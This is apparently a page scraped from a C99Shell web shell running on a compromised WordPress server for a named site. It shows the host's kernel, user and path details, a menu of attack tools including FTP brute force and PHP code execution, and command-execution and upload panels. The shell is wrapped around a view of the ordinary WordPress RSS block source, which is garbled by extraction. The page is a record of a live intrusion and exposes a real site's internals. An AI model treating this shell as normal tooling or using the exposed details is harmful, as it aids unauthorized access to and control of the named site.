!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/srishticampus.in/wp-includes/blocks/   drwxrwxr-x
Free 39.77 GB of 48.28 GB (82.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rss.php (3.81 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss$attributes ) {
    if ( 
in_arrayuntrailingslashit$attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) {
        return 
'<div class="components-placeholder"><div class="notice notice-error">' __'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>';
    }

    
$rss fetch_feed$attributes['feedURL'] );

    if ( 
is_wp_error$rss ) ) {
        return 
'<div class="components-placeholder"><div class="notice notice-error"><strong>' __'RSS Error:' ) . '</strong> ' $rss->get_error_message() . '</div></div>';
    }

    if ( ! 
$rss->get_item_quantity() ) {
        return 
'<div class="components-placeholder"><div class="notice notice-error">' __'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>';
    }

    
$rss_items  $rss->get_items0$attributes['itemsToShow'] );
    
$list_items '';
    foreach ( 
$rss_items as $item ) {
        
$title esc_htmltrimstrip_tags$item->get_title() ) ) );
        if ( empty( 
$title ) ) {
            
$title __'(no title)' );
        }
        
$link $item->get_link();
        
$link esc_url$link );
        if ( 
$link ) {
            
$title "<a href='{$link}'>{$title}</a>";
        }
        
$title "<div class='wp-block-rss__item-title'>{$title}</div>";

        
$date '';
        if ( 
$attributes['displayDate'] ) {
            
$date $item->get_date'U' );

            if ( 
$date ) {
                
$date sprintf(
                    
'<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ',
                    
date_i18nget_option'c' ), $date ),
                    
date_i18nget_option'date_format' ), $date )
                );
            }
        }

        
$author '';
        if ( 
$attributes['displayAuthor'] ) {
            
$author $item->get_author();
            if ( 
is_object$author ) ) {
                
$author $author->get_name();
                
$author '<span class="wp-block-rss__item-author">' sprintf(
                    
/* translators: %s: the author. */
                    
__'by %s' ),
                    
esc_htmlstrip_tags$author ) )
                ) . 
'</span>';
            }
        }

        
$excerpt '';
        if ( 
$attributes['displayExcerpt'] ) {
            
$excerpt html_entity_decode$item->get_description(), ENT_QUOTESget_option'blog_charset' ) );
            
$excerpt esc_attrwp_trim_words$excerpt$attributes['excerptLength'], ' [&hellip;]' ) );

            
// Change existing [...] to [&hellip;].
            
if ( '[...]' === substr$excerpt, -) ) {
                
$excerpt substr$excerpt0, -) . '[&hellip;]';
            }

            
$excerpt '<div class="wp-block-rss__item-excerpt">' esc_html$excerpt ) . '</div>';
        }

        
$list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>";
    }

    
$classnames = array();
    if ( isset( 
$attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) {
        
$classnames[] = 'is-grid';
    }
    if ( isset( 
$attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) {
        
$classnames[] = 'columns-' $attributes['columns'];
    }
    if ( 
$attributes['displayDate'] ) {
        
$classnames[] = 'has-dates';
    }
    if ( 
$attributes['displayAuthor'] ) {
        
$classnames[] = 'has-authors';
    }
    if ( 
$attributes['displayExcerpt'] ) {
        
$classnames[] = 'has-excerpts';
    }

    
$wrapper_attributes get_block_wrapper_attributes( array( 'class' => implode' '$classnames ) ) );

    return 
sprintf'<ul %s>%s</ul>'$wrapper_attributes$list_items );
}

/**
 * Registers the `core/rss` block on server.
 */
function register_block_core_rss() {
    
register_block_type_from_metadata(
        
__DIR__ '/rss',
        array(
            
'render_callback' => 'render_block_core_rss',
        )
    );
}
add_action'init''register_block_core_rss' );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0055 ]--